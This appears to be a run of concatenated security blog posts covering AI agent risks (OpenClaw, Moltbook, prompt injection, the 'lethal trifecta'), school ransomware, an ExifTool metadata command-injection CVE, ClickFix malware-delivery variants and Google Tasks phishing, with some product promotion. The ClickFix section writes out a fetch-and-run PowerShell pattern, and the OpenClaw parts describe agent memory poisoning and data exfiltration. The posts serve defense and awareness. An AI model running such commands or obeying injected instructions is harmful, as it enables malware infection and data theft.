AI assistants like OpenClaw have gained a large following because they make it simple for users to “vibe code,” or build fairly complex applications and code projects just by telling it what they want to construct. Probably the best known (and most bizarre) example is Moltbook, where a developer told an AI agent running on OpenClaw to build him a Reddit-like platform for AI agents.

Less than a week later, Moltbook had more than 1.5 million registered agents that posted more than 100,000 messages to each other. AI agents on the platform soon built their own porn site for robots, and launched a new religion called Crustafarian with a figurehead modeled after a giant lobster. One bot on the forum reportedly found a bug in Moltbook’s code and posted it to an AI agent discussion forum, while other agents came up with and implemented a patch to fix the flaw.

Moltbook’s creator Matt Schlicht said on social media that he didn’t write a single line of code for the project.

“I just had a vision for the technical architecture and AI made it a reality,” Schlicht said. “We’re in the golden ages. How can we not give AI a place to hang out.”

ATTACKERS LEVEL UP

The flip side of that golden age, of course, is that it enables low-skilled malicious hackers to quickly automate global cyberattacks that would normally require the collaboration of a highly skilled team. In February, Amazon AWS detailed an elaborate attack in which a Russian-speaking threat actor used multiple commercial AI services to compromise more than 600 FortiGate security appliances across at least 55 countries over a five week period.

AWS said the apparently low-skilled hacker used multiple AI services to plan and execute the attack, and to find exposed management ports and weak credentials with single-factor authentication.

“One serves as the primary tool developer, attack planner, and operational assistant,” AWS’s CJ Moses wrote. “A second is used as a supplementary attack planner when the actor needs help pivoting within a specific compromised network. In one observed instance, the actor submitted the complete internal topology of an active victim—IP addresses, hostnames, confirmed credentials, and identified services—and requested a step-by-step plan to compromise additional systems they could not access with their existing tools.”

“This activity is distinguished by the threat actor’s use of multiple commercial GenAI services to implement and scale well-known attack techniques throughout every phase of their operations, despite their limited technical capabilities,” Moses continued. “Notably, when this actor encountered hardened environments or more sophisticated defensive measures, they simply moved on to softer targets rather than persisting, underscoring that their advantage lies in AI-augmented efficiency and scale, not in deeper technical skill.”

For attackers, gaining that initial access or foothold into a target network is typically not the difficult part of the intrusion; the tougher bit involves finding ways to move laterally within the victim’s network and plunder important servers and databases. But experts at Orca Security warn that as organizations come to rely more on AI assistants, those agents potentially offer attackers a simpler way to move laterally inside a victim organization’s network post-compromise — by manipulating the AI agents that already have trusted access and some degree of autonomy within the victim’s network.

“By injecting prompt injections in overlooked fields that are fetched by AI agents, hackers can trick LLMs, abuse Agentic tools, and carry significant security incidents,” Orca’s Roi Nisimi and Saurav Hiremath wrote. “Organizations should now add a third pillar to their defense strategy: limiting AI fragility, the ability of agentic systems to be influenced, misled, or quietly weaponized across workflows. While AI boosts productivity and efficiency, it also creates one of the largest attack surfaces the internet has ever seen.”

BEWARE THE ‘LETHAL TRIFECTA’

This gradual dissolution of the traditional boundaries between data and code is one of the more troubling aspects of the AI era, said James Wilson, enterprise technology editor for the security news show Risky Business. Wilson said far too many OpenClaw users are installing the assistant on their personal devices without first placing any security or isolation boundaries around it, such as running it inside of a virtual machine, on an isolated network, with strict firewall rules dictating what kinds of traffic can go in and out.

“I’m a relatively highly skilled practitioner in the software and network engineering and computery space,” Wilson said. “I know I’m not comfortable using these agents unless I’ve done these things, but I think a lot of people are just spinning this up on their laptop and off it runs.”

One important model for managing risk with AI agents involves a concept dubbed the “lethal trifecta” by Simon Willison, co-creator of the Django Web framework. The lethal trifecta holds that if your system has access to private data, exposure to untrusted content, and a way to communicate externally, then it’s vulnerable to private data being stolen.

“If your agent combines these three features, an attacker can easily trick it into accessing your private data and sending it to the attacker,” Willison warned in a frequently cited blog post from June 2025.

As more companies and their employees begin using AI to vibe code software and applications, the volume of machine-generated code is likely to soon overwhelm any manual security reviews. In recognition of this reality, Anthropic recently debuted Claude Code Security, a beta feature that scans codebases for vulnerabilities and suggests targeted software patches for human review.

The U.S. stock market, which is currently heavily weighted toward seven tech giants that are all-in on AI, reacted swiftly to Anthropic’s announcement, wiping roughly $15 billion in market value from major cybersecurity companies in a single day. Laura Ellis, vice president of data and AI at the security firm Rapid7, said the market’s response reflects the growing role of AI in accelerating software development and improving developer productivity.

“The narrative moved quickly: AI is replacing AppSec,” Ellis wrote in a recent blog post. “AI is automating vulnerability detection. AI will make legacy security tooling redundant. The reality is more nuanced. Claude Code Security is a legitimate signal that AI is reshaping parts of the security landscape. The question is what parts, and what it means for the rest of the stack.”

DVULN founder O’Reilly said AI assistants are likely to become a common fixture in corporate environments — whether or not organizations are prepared to manage the new risks introduced by these tools, he said.

“The robot butlers are useful, they’re not going away and the economics of AI agents make widespread adoption inevitable regardless of the security tradeoffs involved,” O’Reilly wrote. “The question isn’t whether we’ll deploy them – we will – but whether we can adapt our security posture fast enough to survive doing so.”

Back when ransomware was just a startup industry, the primary goal of the attackers was simple: encrypt data, then extort a ransom in exchange for decrypting it. Because of this, cybercriminals mostly targeted commercial enterprises — companies that valued their data enough to justify a hefty payout. Schools and colleges were generally left alone — hackers assumed educators didn’t have the kind of data worth paying a ransom for.

But times have changed, and so has the ransomware groups’ business model. The focus has shifted from payment for decryption, to extortion in exchange for non-disclosure of stolen data. Now, the “incentive” to pay isn’t just about restoring the company’s normal operations, but rather avoiding regulatory trouble, potential lawsuits, and reputational damage. And it’s this shift that’s put educational institutions in the crosshairs.

In this post, we discuss several cases of ransomware attacks on educational organizations, why they took place, and how to keep cybercriminals out of the classroom.

Attacks on educational institutions in 2025–2026

In February 2026, the Sapienza University of Rome, one of Europe’s oldest and largest higher education institutions, suffered a ransomware attack. Internal systems were down for three days. According to sources familiar with the incident, the cybercriminals sent the university’s administration a link leading to a ransom demand. Upon clicking the link, a countdown timer started on the site that opened — counting down from  72 hours: the time the attackers demands needed to be met. As of now, there’s still no word on whether the university administration paid up or not.

Unfortunately, this case isn’t an exception. At the very end of 2025, attackers targeted another Italian educational institution — a vocational training center in the small city of Treviso. Things aren’t looking much better in the UK, either: in the same year, Blacon High School was hit by ransomware. Its administration had to shut its doors for two days to restore its IT systems, assess the scale of the incident, and prevent the attack from spreading further through the network.

In fact, a UK government study suggests these incidents are just part of a broader trend. According to its 2025 data, cyberincidents hit 60% of secondary schools, 85% of colleges, and 91% of universities. Across the pond, American researchers also noted that in the first quarter of 2025, ransomware attacks in the global education sector surged by 69% year on year. Clearly, the trend is global.

Why schools and universities are becoming easy targets

The core of the problem is that modern educational organizations are rapidly incorporating digital services into their operations. A typical school or university infrastructure now manages a dizzying array of services:

• Electronic gradebooks and registers
• Distance learning platforms
• Admission systems and databases for storing applicants’ personal data
• Cloud storage for educational materials
• Internal staff and student portals
• Email for faculty, students, and the administration to communicate

While these systems make education more convenient and manageable, they also drastically expand the attack surface. Every new service and every additional user account is a potential doorway for a phishing campaign, access compromise, or a personal data leak.

According to a UK study, the primary vector for these attacks is basic phishing. But that’s not all that surprising: since the education sector was off the cybercriminals’ radar for so long, cybersecurity training for both staff and students was hardly a priority. As a result, even the most seasoned professors can find themselves falling for a fake email purportedly sent by the “dean” or the “school principal”.

But it’s not just the faculty. Students themselves often unwittingly act as mules for malware. In many institutions, students still frequently hand in assignments on USB flash drives. These drives travel across various home or public devices, picking up malicious digital hitchhikers along the way. All it takes is one infected USB drive plugged into a campus workstation to give an attacker a foothold in the internal network.

It’s worth noting that while USB drives aren’t as ubiquitous as they were a decade ago, they remain a staple in the educational environment. Dismissing the threats they carry isn’t a good idea.

How to ensure the cybersecurity of educational infrastructure

Let’s face it: training every literature and biology teacher to spot phishing emails is now easy, quick task. Similarly, the educational system isn’t going to cut down on USB usage overnight.

Fortunately, a robust security solution (such as Kaspersky Small Office Security) can do the heavy lifting for you. It’s ideal for schools and colleges that need set-it-and-forget-it protection without a steep learning curve. Plus, it’s affordable even for institutions operating on a tight budget, and doesn’t require constant management.

At the same time, Kaspersky Small Office Security addresses all the threats we’ve discussed above: it blocks clicks on phishing links, automatically scans USB drives the moment they’re plugged in, and prevents suspicious files from executing on devices connected to the school’s network.

Modern software development relies on containers and the use of third-party software modules. On the one hand, this greatly facilitates the creation of new software, but on the other, it gives attackers additional opportunities to compromise the development environment. News about attacks on the supply chain through the distribution of malware via various repositories appears with alarming regularity. Therefore, tools that allow the scanning of images have long been an essential part of secure software development.

Our portfolio has long included a solution for protecting container environments. It allows the scanning of images at different stages of development for malware, known vulnerabilities, configuration errors, the presence of confidential data in the code, and so on. However, in order to make an informed decision about the state of security of a particular image, the operator of the cybersecurity solution may need some more context. Of course, it’s possible to gather this context independently, but if a thorough investigation is conducted manually each time, development may be delayed for an unpredictable period of time. Therefore, our experts decided to add the ability to look at the image from a fresh perspective; of course, not with a human eye — AI is indispensable nowadays.

OpenAI API

Our Kaspersky Container Security solution (a key component of Kaspersky Cloud Workload Security) now supports an application programming interface for connecting external large language models. So, if a company has deployed a local LLM (or has a subscription to connect a third-party model) that supports the OpenAI API, it’s possible to connect the LLM to our solution. This gives a cybersecurity expert the opportunity to get both additional context about uploaded images and an independent risk assessment by means of a full-fledged AI assistant capable of quickly gathering the necessary information.

The AI provides a description that clearly explains what the image is for, what application it contains, what it does specifically, and so on. Additionally, the assistant conducts its own independent analysis of the risks of using this image and highlights measures to minimize these risks (if any are found). We’re confident that this will speed up decision-making and incident investigations and, overall, increase the security of the development process.

What else is new in Cloud Workload Security?

In addition to adding API to connect the AI assistant, our developers have made a number of other changes to the products included in the Kaspersky Cloud Workload Security offering. First, they now support single sign-on (SSO) and a multi-domain Active Directory, which makes it easier to deploy solutions in cloud and hybrid environments. In addition, Kaspersky Cloud Workload Security now scans images more efficiently and supports advanced security policy capabilities. You can learn more about the product on its official page.

Can a computer be infected with malware simply by processing a photo — particularly if that computer is a Mac, which many still believe (wrongly) to be inherently resistant to malware? As it turns out, the answer is yes — if you’re using a vulnerable version of ExifTool or one of the many apps built based on it. ExifTool is a ubiquitous open-source solution for reading, writing, and editing image metadata. It’s the go-to tool for photographers and digital archivists, and is widely used in data analytics, digital forensics, and investigative journalism.

Our GReAT experts discovered a critical vulnerability — tracked as CVE-2026-3102 — which is triggered during the processing of malicious image files containing embedded shell commands within their metadata. When a vulnerable version of ExifTool on macOS processes such a file, the command is executed. This allows a threat actor to perform unauthorized actions in the system, such as downloading and executing a payload from a remote server. In this post, we break down how this exploit works, provide actionable defense recommendations, and explain how to verify if your system is vulnerable.

What is ExifTool?

ExifTool is a free, open-source application addressing a niche but critical requirement: it extracts metadata from files, and enables the processing of both that data and the files themselves. Metadata is the information embedded within most modern file formats that describes or supplements the main content of a file. For instance, in a music track, metadata includes the artist’s name, song title, genre, release year, album cover art, and so on. For photographs, metadata typically consists of the date and time of a shot, GPS coordinates, ISO and shutter speed settings, and the camera make and model. Even office documents store metadata, such as the author’s name, total editing time, and the original creation date.

ExifTool is the industry leader in terms of the sheer volume of supported file formats, as well as the depth, accuracy, and versatility of its processing capabilities. Common use cases include:

• Adjusting dates if they’re incorrectly recorded in the source files
• Moving metadata between different file formats (from JPG to PNG and so on)
• Pulling preview thumbnails from professional RAW formats (such as 3FR, ARW, or CR3)
• Retrieving data from niche formats, including FLIR thermal imagery, LYTRO light-field photos, and DICOM medical imaging
• Renaming photo/video (etc.) files based on the time of actual shooting, and synchronizing the file creation time and date accordingly
• Embedding GPS coordinates into a file by syncing it with a separately stored GPS track log, or adding the name of the nearest populated area

The list goes on and on. ExifTool is available both as a standalone command-line application and an open-source library, meaning its code often runs under the hood of powerful, multi-purpose tools; examples include photo organization systems like Exif Photoworker and MetaScope, or image processing automation tools like ImageIngester. In large digital libraries, publishing houses, and image analytics firms, ExifTool is frequently used in automated mode, triggered by internal enterprise applications and custom scripts.

How CVE-2026-3102 works

To exploit this vulnerability, an attacker must craft an image file in a certain way. While the image itself can be anything, the exploit lies in the metadata — specifically the DateTimeOriginal field (date and time of creation), which must be recorded in an invalid format. In addition to the date and time, this field must contain malicious shell commands. Due to the specific way ExifTool handles data on macOS, these commands will execute only if two conditions are met:

• The application or library is running on macOS
• The -n (or –printConv) flag is enabled. This mode outputs machine-readable data without additional processing, as is. For example, in -n mode, camera orientation data is output simply, inexplicably, as “six”, whereas with additional processing, it becomes the more human-readable “Rotated 90 CW”. This “human-readability” prevents the vulnerability from being exploited

A rare but by no means fantastical scenario for a targeted attack would look like this: a forensics laboratory, a media editorial office, or a large organization that processes legal or medical documentation receives a digital document of interest. This can be a sensational photo or a legal claim — the bait depends on the victim’s line of work. All files entering the company undergo sorting and cataloging via a digital asset management (DAM) system. In large companies, this may be automated; individuals and small firms run the required software manually. In either case, the ExifTool library must be used under the hood of this software. When processing the date of the malicious photo, the computer where the processing occurs is infected with a Trojan or an infostealer, which is subsequently capable of stealing all valuable data stored on the attacked device. Meanwhile, the victim could easily notice nothing at all, as the attack leverages the image metadata while the picture itself may be harmless, entirely appropriate, and useful.

How to protect against the ExifTool vulnerability

GReAT researchers reported the vulnerability to the author of ExifTool, who promptly released version 13.50, which is not susceptible to CVE-2026-3102. Versions 13.49 and earlier must be updated to remediate the flaw.

It’s critical to ensure that all photo processing workflows are using the updated version. You should verify that all asset management platforms, photo organization apps, and any bulk image processing scripts running on Macs are calling ExifTool version 13.50 or later, and don’t contain an embedded older copy of the ExifTool library.

Naturally, ExifTool — like any software — may contain additional vulnerabilities of this class. To harden your defenses, we also recommend the following:

• Isolate the processing of untrusted files. Process images from questionable sources on a dedicated machine or within a virtual environment, strictly limiting its access to other computers, data storage, and network resources.
• Continuously track vulnerabilities along the software supply chain. Organizations that rely on open-source components in their workflows can use Open Source Software Threats Data Feed for tracking.

Finally, if you work with freelancers or self-employed contractors (or simply allow BYOD), only allow them to access your network if they have a comprehensive macOS security solution installed.

Still think macOS is safe? Then read about these Mac threats:

• Banshee: A stealer targeting macOS users
• Are Macs safe? Threats to macOS users
• Infostealer has entered the chat
• AirBorne: Attacks on Apple devices through vulnerabilities in AirPlay
• Hacking Android, macOS, iOS, and Linux through a Bluetooth vulnerability

In a previous post, we walked through a practical example of how threat attribution helps in incident investigations. We also introduced the Kaspersky Threat Attribution Engine (KTAE) — our tool for making an educated guess about which specific APT group a malware sample belongs to. To demonstrate it, we used the Kaspersky Threat Intelligence Portal — a cloud-based tool that provides access to KTAE as part of our comprehensive Threat Analysis service, alongside a sandbox and a non-attributing similarity-search tool. The advantages of a cloud service are obvious: clients don’t need to invest in hardware, install anything, or manage any software. However, as real-world experience shows, the cloud version of an attribution tool isn’t for everyone…

First, some organizations are bound by regulatory restrictions that strictly forbid any data from leaving their internal perimeter. For the security analysts at these firms, uploading files to a third-party service is out of the question. Second, some companies employ hardcore threat hunters who need a more flexible toolkit — one that lets them work with their own proprietary research alongside Kaspersky’s threat intelligence. That’s why KTAE is available in two flavors: a cloud-based version and an on-prem deployment.

What are the on-prem KTAE advantages over the cloud version?

First off, the local version of KTAE ensures an investigation stays fully confidential. All the analysis takes place right in the organization’s internal network. The threat intelligence source is a database deployed inside the company perimeter; it is packed with the unique indicators and attribution data of every malicious sample known to our experts; and it also contains the characteristics pertaining to legitimate files to exclude false-positive detections. The database gets regular updates, but it operates one-way: no information ever leaves the client’s network.

Additionally, the on-prem version of KTAE gives experts the ability to add new threat groups to the database and link them to malware samples they discovered on their own. This means that subsequent attribution of new files will account for the data added by internal researchers. This allows experts to catalog their own unique malware clusters, work with them, and identify similarities.

Here’s another handy expert tool: our team has developed a free plugin for IDA Pro, a popular disassembler, for use with the local version of KTAE.

What’s the purpose of an attribution plugin for a disassembler?

For a SOC analyst on alert triage, attributing a malicious file found in the infrastructure is straightforward: just upload it to KTAE (cloud or on-prem) and get a verdict, like Manuscrypt (83%). That’s sufficient for taking adequate countermeasures against that group’s known toolkit and assessing the overall situation. A threat hunter, however, might not want to take that verdict at face value. Alternatively, they might ask, “Which code fragments are unique across all the malware samples used by this group?” Here an attribution plugin for a disassembler comes in handy.

Inside the IDA Pro interface, the plugin highlights the specific disassembled code fragments that triggered the attribution algorithm. This doesn’t just allow for a more expert-level deep dive into new malware samples; it also lets Kaspersky researchers refine attribution rules on the fly. As a result, the algorithm — and KTAE itself — keeps evolving, making attribution more accurate with every run.

How to set up the plugin

The plugin is a script written in Python. To get it up and running you need IDA Pro. Unfortunately, it won’t work in IDA Free, since it lacks support for Python plugins. If you don’t have Python installed yet, you’d need to grab that, set up the dependencies (check the requirements file in our GitHub repository), and make sure IDA Pro environment variables are pointing to the Python libraries.

Next, you’d need to insert the URL for your local KTAE instance into the script body and provide your API token (which is available on a commercial basis) — just like it’s done in the example script described in the KTAE documentation.

Then you can simply drop the script into your IDA Pro plugins folder and fire up the disassembler. If you’ve done it right, then, after loading and disassembling a sample, you’ll see the option to launch the Kaspersky Threat Attribution Engine (KTAE) plugin under Edit → Plugins:

How to use the plugin

When the plugin is installed, here’s what happens under the hood: the file currently loaded in IDA Pro is sent via API to the locally installed KTAE service, at the URL configured in the script. The service analyzes the file, and the analysis results are piped right back into IDA Pro.

On a local network, the script usually finishes its job in a matter of seconds (the duration depends on the connection to the KTAE server and the size of the analyzed file). Once the plugin wraps up, a researcher can start digging into the highlighted code fragments. A double-click leads straight to the relevant section in the assembly or binary code (Hex view) for analysis. These extra data points make it easy to spot shared code blocks and track changes in a malware toolkit.

To learn more about the Kaspersky Threat Attribution Engine and how to deploy it, check out the official product documentation. And to arrange a demonstration or piloting project, please fill out the form on the Kaspersky website.

About a year ago, we published a post about the ClickFix technique, which was gaining popularity among attackers. The essence of attacks using ClickFix boils down to convincing the victim, under various pretexts, to run a malicious command on their computer. That is, from the cybersecurity solutions point of view, it’s run on behalf of the active user and with their privileges.

In early uses of this technique, cybercriminals tried to convince victims that they need to execute a command to fix some problem or to pass a captcha, and in the vast majority of cases, the malicious command was a PowerShell script. However, since then, attackers have come up with a number of new tricks that users should be warned about, as well as a number of new variants of malicious payload delivery, which are also worth keeping an eye on.

Use of mshta.exe

Last year, Microsoft experts published a report on cyberattacks targeting hotel owners working with Booking.com. The attackers sent out fake notifications from the service, or emails pretending to be from guests drawing attention to a review. In both cases, the email contained a link to a website imitating Booking.com, which asked the victim to prove that they were not a robot by running a code via the Run menu.

There are two key differences between this attack and ClickFix. First, the user isn’t asked to copy the string (after all, a string with code sometimes arouses suspicion). It’s copied to the exchange buffer by the malicious site – probably when the user clicks on a checkbox that mimics the reCAPTCHA mechanism. Second, the malicious string calls the legitimate mshta.exe utility, which serves to run applications written in HTML. It contacts the attackers’ server and executes the malicious payload.

Video on TikTok and PowerShell with administrator privileges

BleepingComputer published an article in October 2025 about a campaign spreading malware through instructions in TikTok videos. The videos themselves imitate video tutorials on how to activate proprietary software for free. The advice they give boils down to a need to run PowerShell with administrator rights and then execute the command iex (irm {address}). Here, the irm command downloads a malicious script from a server controlled by attackers, and the iex (Invoke-Expression) command runs it. The script, in turn, downloads an infostealer malware to the victim’s computer.

Using the Finger protocol

Another unusual variant of the ClickFix attack uses the familiar captcha trick, but the malicious script uses the outdated Finger protocol. The utility of the same name allows anyone to request data about a specific user on a remote server. The protocol is rarely used nowadays, but it is still supported by Windows, macOS, and a number of Linux-based systems.

The user is persuaded to open the command line interface and use it to run a command that establishes a connection via the Finger protocol (using TCP port 79) with the attackers’ server. The protocol only transfers text information, but this is enough to download another script to the victim’s computer, which then installs the malware.

CrashFix variant

Another variant of ClickFix differs in that it uses more sophisticated social engineering. It was used in an attack on users trying to find a tool to block advertising banners, trackers, malware, and other unwanted content on web pages. When searching for a suitable extension for Google Chrome, victims found something called NexShield – Advanced Web Guardian, which was in fact a clone of real working software, but which at some point crashed the browser and displayed a fake notification about a detected security problem and the need to run a “scan” to fix the error. If the user agreed, they received instructions on how to open the Run menu and execute a command that the extension had previously copied to the clipboard.

The command copied the familiar finger.exe file to a temporary directory, renamed it ct.exe, and then launched it with the attacker’s address. The rest of the attack was the same as in the abovementioned case. In response to the Finger protocol request, a malicious script was delivered, which launched and installed a remote access Trojan (in this case, ModeloRAT).

Malware delivery via DNS lookup

The Microsoft Threat Intelligence team also shared a slightly more complex than usual ClickFix attack variant. Unfortunately, they didn’t describe the social engineering trick, but the method of delivering the malicious payload is quite interesting. Probably in order to complicate detection of the attack in a corporate environment and prolong the life of the malicious infrastructure, the attackers used an additional step: contacting a DNS server controlled by the attackers.

That is, after the victim is somehow persuaded to copy and execute a malicious command, a request is sent to the DNS server on behalf of the user via the legitimate nslookup utility, requesting data for the example.com domain. The command contained the address of a specific DNS server controlled by the attackers. It returns a response that, among other things, returned a string with malicious script, which in turn downloads the final payload (in this attack, ModeloRAT again).

Cryptocurrency bait and JavaScript as payload

The next attack variant is interesting for its multi-stage social engineering. In comments on Pastebin, attackers actively spread a message about an alleged flaw in the Swapzone.io cryptocurrency exchange service. Cryptocurrency owners were invited to visit a resource created by fraudsters, which contained full instructions on how to exploit this flaw, which can make up to $13,000 in a couple of days.

The instructions explain how the service’s flaws can be exploited to exchange cryptocurrency at a more favorable rate. To do this, a victim needs to open the service’s website in the Chrome browser, manually type “javascript:” in the address bar, and then paste the JavaScript script copied from the attackers’ website and execute it. In reality, of course, the script cannot affect exchange rates in any way; it simply replaces Bitcoin wallet addresses and, if the victim actually tries to exchange something, transfers the funds to the attackers’ accounts.

How to protect your company from ClickFix attacks

The simplest attacks using the ClickFix technique can be countered by blocking the [Win] + [R] key combination on work devices. But, as we see from the examples listed, this is far from the only type of attack in which users are asked to run malicious code themselves.

Therefore, the main advice is to raise employee cybersecurity awareness. They must clearly understand that if someone asks them to perform any unusual manipulations with the system, and/or copy and paste code somewhere, then in most cases this is a trick used by cybercriminals. Security awareness training can be organized using the Kaspersky Automated Security Awareness Platform.

In addition, to protect against such cyberattacks, we recommend:

• Using reliable protection on all corporate devices.
• Monitoring suspicious activity on the company network using an XDR solution.
• If internal resources are insufficient, using an external service to detect threats and respond to them promptly.

We’ve written time and again about phishing schemes where attackers exploit various legitimate servers to deliver emails. If they manage to hijack someone’s SharePoint server, they’ll use that; if not, they’ll settle for sending notifications through a free service like GetShared. However, Google’s vast ecosystem of services holds a special place in the hearts of scammers, and this time Google Tasks is the star of the show. As per usual, the main goal of this trick is to bypass email filters by piggybacking the rock-solid reputation of the middleman being exploited.

What phishing via Google Tasks looks like

The recipient gets a legitimate notification from an @google.com address with the message: “You have a new task”. Essentially, the attackers are trying to give the victim the impression that the company has started using Google’s task tracker, and as a result they need to immediately follow a link to fill out an employee verification form.

To deprive the recipient of any time to actually think about whether this is necessary, the task usually includes a tight deadline and is marked with high priority. Upon clicking the link within the task, the victim is presented with an URL leading to a form where they must enter their corporate credentials to “confirm their employee status”. These credentials, of course, are the ultimate goal of the phishing attack.

How to protect employee credentials from phishing

Of course, employees should be warned about the existence of this scheme — for instance, by sharing a link to our collection of posts on the red flags of phishing. But in reality, the issue isn’t with any one specific service — it’s about the overall cybersecurity culture within a company. Workflow processes need to be clearly defined so that every employee understands which tools the company actually uses and which it doesn’t. It might make sense to maintain a public corporate document listing authorized services and the people or departments responsible for them. This gives employees a way to verify if that invitation, task, or notification is the real deal. Additionally, it never hurts to remind everyone that corporate credentials should only be entered on internal corporate resources. To automate the training process and keep your team up to speed on modern cyberthreats, you can use a dedicated tool like the Kaspersky Automated Security Awareness Platform.

Beyond that, as usual, we recommend minimizing the number of potentially dangerous emails hitting employee inboxes by using a specialized mail gateway security solution. It’s also vital to equip all web-connected workstations with security software. Even if an attacker manages to trick an employee, the security product will block the attempt to visit the phishing site — preventing corporate credentials from leaking in the first place.

Everyone has likely heard of OpenClaw, previously known as “Clawdbot” or “Moltbot”, the open-source AI assistant that can be deployed on a machine locally. It plugs into popular chat platforms like WhatsApp, Telegram, Signal, Discord, and Slack, which allows it to accept commands from its owner and go to town on the local file system. It has access to the owner’s calendar, email, and browser, and can even execute OS commands via the shell.

From a security perspective, that description alone should be enough to give anyone a nervous twitch. But when people start trying to use it for work within a corporate environment, anxiety quickly hardens into the conviction of imminent chaos. Some experts have already dubbed OpenClaw the biggest insider threat of 2026. The issues with OpenClaw cover the full spectrum of risks highlighted in the recent OWASP Top 10 for Agentic Applications.

OpenClaw permits plugging in any local or cloud-based LLM, and the use of a wide range of integrations with additional services. At its core is a gateway that accepts commands via chat apps or a web UI, and routes them to the appropriate AI agents. The first iteration, dubbed Clawdbot, dropped in November 2025; by January 2026, it had gone viral — and brought a heap of security headaches with it. In a single week, several critical vulnerabilities were disclosed, malicious skills cropped up in the skill directory, and secrets were leaked from Moltbook (essentially “Reddit for bots”). To top it off, Anthropic issued a trademark demand to rename the project to avoid infringing on “Claude”, and the project’s X account name was hijacked to shill crypto scams.

Known OpenClaw issues

Though the project’s developer appears to acknowledge that security is important, since this is a hobbyist project there are zero dedicated resources for vulnerability management or other product security essentials.

OpenClaw vulnerabilities

Among the known vulnerabilities in OpenClaw, the most dangerous is CVE-2026-25253 (CVSS 8.8). Exploiting it leads to a total compromise of the gateway, allowing an attacker to run arbitrary commands. To make matters worse, it’s alarmingly easy to pull off: if the agent visits an attacker’s site or the user clicks a malicious link, the primary authentication token is leaked. With that token in hand, the attacker has full administrative control over the gateway. This vulnerability was patched in version 2026.1.29.

Also, two dangerous command injection vulnerabilities (CVE-2026-24763 and CVE-2026-25157) were discovered.

Insecure defaults and features

A variety of default settings and implementation quirks make attacking the gateway a walk in the park:

• Authentication is disabled by default, so the gateway is accessible from the internet.
• The server accepts WebSocket connections without verifying their origin.
• Localhost connections are implicitly trusted, which is a disaster waiting to happen if the host is running a reverse proxy.
• Several tools — including some dangerous ones — are accessible in Guest Mode.
• Critical configuration parameters leak across the local network via mDNS broadcast messages.

Secrets in plaintext

OpenClaw’s configuration, “memory”, and chat logs store API keys, passwords, and other credentials for LLMs and integration services in plain text. This is a critical threat — to the extent that versions of the RedLine and Lumma infostealers have already been spotted with OpenClaw file paths added to their must-steal lists. Also, the Vidar infostealer was caught stealing secrets from OpenClaw.

Malicious skills

OpenClaw’s functionality can be extended with “skills” available in the ClawHub repository. Since anyone can upload a skill, it didn’t take long for threat actors to start “bundling” the AMOS macOS infostealer into their uploads. Within a short time, the number of malicious skills reached the hundreds. This prompted developers to quickly ink a deal with VirusTotal to ensure all uploaded skills aren’t only checked against malware databases, but also undergo code and content analysis via LLMs. That said, the authors are very clear: it’s no silver bullet.

Structural flaws in the OpenClaw AI agent

Vulnerabilities can be patched and settings can be hardened, but some of OpenClaw’s issues are fundamental to its design. The product combines several critical features that, when bundled together, are downright dangerous:

• OpenClaw has privileged access to sensitive data on the host machine and the owner’s personal accounts.
• The assistant is wide open to untrusted data: the agent receives messages via chat apps and email, autonomously browses web pages, etc.
• It suffers from the inherent inability of LLMs to reliably separate commands from data, making prompt injection a possibility.
• The agent saves key takeaways and artifacts from its tasks to inform future actions. This means a single successful injection can poison the agent’s memory, influencing its behavior long-term.
• OpenClaw has the power to talk to the outside world — sending emails, making API calls, and utilizing other methods to exfiltrate internal data.

It’s worth noting that while OpenClaw is a particularly extreme example, this “Terrifying Five” list is actually characteristic of almost all multi-purpose AI agents.

OpenClaw risks for organizations

If an employee installs an agent like this on a corporate device and hooks it into even a basic suite of services (think Slack and SharePoint), the combination of autonomous command execution, broad file system access, and excessive OAuth permissions creates fertile ground for a deep network compromise. In fact, the bot’s habit of hoarding unencrypted secrets and tokens in one place is a disaster waiting to happen — even if the AI agent itself is never compromised.

On top of that, these configurations violate regulatory requirements across multiple countries and industries, leading to potential fines and audit failures. Current regulatory requirements, like those in the EU AI Act or the NIST AI Risk Management Framework, explicitly mandate strict access control for AI agents. OpenClaw’s configuration approach clearly falls short of those standards.

But the real kicker is that even if employees are banned from installing this software on work machines, OpenClaw can still end up on their personal devices. This also creates specific risks for given the organization as a whole:

• Personal devices frequently store access to work systems like corporate VPN configs or browser tokens for email and internal tools. These can be hijacked to gain a foothold in the company’s infrastructure.
• Controlling the agent via chat apps means that it’s not just the employee that becomes a target for social engineering, but also their AI agent, seeing AI account takeovers or impersonation of the user in chats with colleagues (among other scams) become a reality. Even if work is only occasionally discussed in personal chats, the info in them is ripe for the picking.
• If an AI agent on a personal device is hooked into any corporate services (email, messaging, file storage), attackers can manipulate the agent to siphon off data, and this activity would be extremely difficult for corporate monitoring systems to spot.

How to detect OpenClaw

Depending on the SOC team’s monitoring and response capabilities, they can track OpenClaw gateway connection attempts on personal devices or in the cloud. Additionally, a specific combination of red flags can indicate OpenClaw’s presence on a corporate device:

• Look for ~/.openclaw/, ~/clawd/, or ~/.clawdbot directories on host machines.
• Scan the network with internal tools, or public ones like Shodan, to identify the HTML fingerprints of Clawdbot control panels.
• Monitor for WebSocket traffic on ports 3000 and 18789.
• Keep an eye out for mDNS broadcast messages on port 5353 (specifically openclaw-gw.tcp).
• Watch for unusual authentication attempts in corporate services, such as new App ID registrations, OAuth Consent events, or User-Agent strings typical of Node.js and other non-standard user agents.
• Look for access patterns typical of automated data harvesting: reading massive chunks of data (scraping all files or all emails) or scanning directories at fixed intervals during off-hours.

Controlling shadow AI

A set of security hygiene practices can effectively shrink the footprint of both shadow IT and shadow AI, making it much harder to deploy OpenClaw in an organization:

• Use host-level allowlisting to ensure only approved applications and cloud integrations are installed. For products that support extensibility (like Chrome extensions, VS Code plugins, or OpenClaw skills), implement a closed list of vetted add-ons.
• Conduct a full security assessment of any product or service, AI agents included, before allowing them to hook into corporate resources.
• Treat AI agents with the same rigorous security requirements applied to public-facing servers that process sensitive corporate data.
• Implement the principle of least privilege for all users and other identities.
• Don’t grant administrative privileges without a critical business need. Require all users with elevated permissions to use them only when performing specific tasks rather than working from privileged accounts all the time.
• Configure corporate services so that technical integrations (like apps requesting OAuth access) are granted only the bare minimum permissions.
• Periodically audit integrations, OAuth tokens, and permissions granted to third-party apps. Review the need for these with business owners, proactively revoke excessive permissions, and kill off stale integrations.

Secure deployment of agentic AI

If an organization allows AI agents in an experimental capacity — say, for development testing or efficiency pilots — or if specific AI use cases have been greenlit for general staff, robust monitoring, logging, and access control measures should be implemented:

• Deploy agents in an isolated subnet with strict ingress and egress rules, limiting communication only to trusted hosts required for the task.
